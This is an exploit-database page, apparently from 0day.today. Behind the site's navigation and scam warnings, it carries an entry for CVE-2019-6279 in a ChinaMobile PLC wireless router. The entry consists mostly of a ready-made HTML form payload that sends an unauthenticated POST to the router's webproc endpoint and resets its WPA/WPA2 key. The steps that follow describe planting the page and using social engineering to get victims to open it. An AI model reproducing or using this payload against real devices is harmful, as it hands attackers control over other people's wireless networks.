0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PLC Wireless Router GPN2.4P21-C-CN Incorrect Access Control Vulnerability
Author
Risk
[
Security Risk Low
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Incorrect Access Control # Exploit Author: Kumar Saurav # Vendor: ChinaMobile # Category: Hardware # Version: GPN2.4P21-C-CN (Firmware: W2001EN-00) # Tested on: Windows # CVE : CVE-2019-6279 #Description: ChinaMobile PLC Wireless Router GPN2.4P21-C-CN devices with firmware W2001EN-00 have an Incorrect Access Control vulnerability via the cgi-bin/webproc?getpage=html/index.html subpage=wlsecurity URI, allowing an Attacker to change the Wireless Security Password. #Reproduction Steps: Step 1: Building a malicious html web page Step 2: Attacker's wants to change the wireless security (WPA/WPA2) key to "PSWDmatlo331#@!" (in my case) Step 3: <html> <body> <form method="POST" action="http://192.168.59.254:80/cgi-bin/webproc"> <input type="text" name="sessionid" value="2a39a09e"> <input type="text" name="language" value="en_us"> <input type="text" name="sys_UserName" value="admin"> <input type="text" name="var:menu" value="setup"> <input type="text" name="var:page" value="wireless"> <input type="text" name="var:subpage" value="wlsecurity"> <input type="text" name="var:errorpage" value="wlsecurity"> <input type="text" name="getpage" value="html/index.html"> <input type="text" name="errorpage" value="html/index.html"> <input type="text" name="var:arrayid" value="0"> <input type="text" name="obj-action" value="set"> <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.BeaconType" value="11i"> <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iEncryptionModes" value="AESEncryption"> <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iAuthenticationMode" value="PSKAuthentication"> <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_WPAGroupRekey" value="100"> <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1.KeyPassphrase" value="PSWDmatlo331#@!"> <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_PSKExpression" value="KeyPassphrase"> <input type="submit" value="Send"> </form> </body> </html> Step 4: save this as Incorrect_Access_Control.html Step 5: Planting this malicious web page (Incorrect_Access_Control.html) that are likely to be visited by the victim's (by social engineering) or any user connected in the Access Point (AP) will have to visit this page or any attacker connected in the AP will trigger this exploit Step 6: After execution of above exploit, wireless security (WPA/WPA2) key will change!! Note: This vulnerability allowing an attacker to reproduce without login. # 0day.today [2024-12-24] #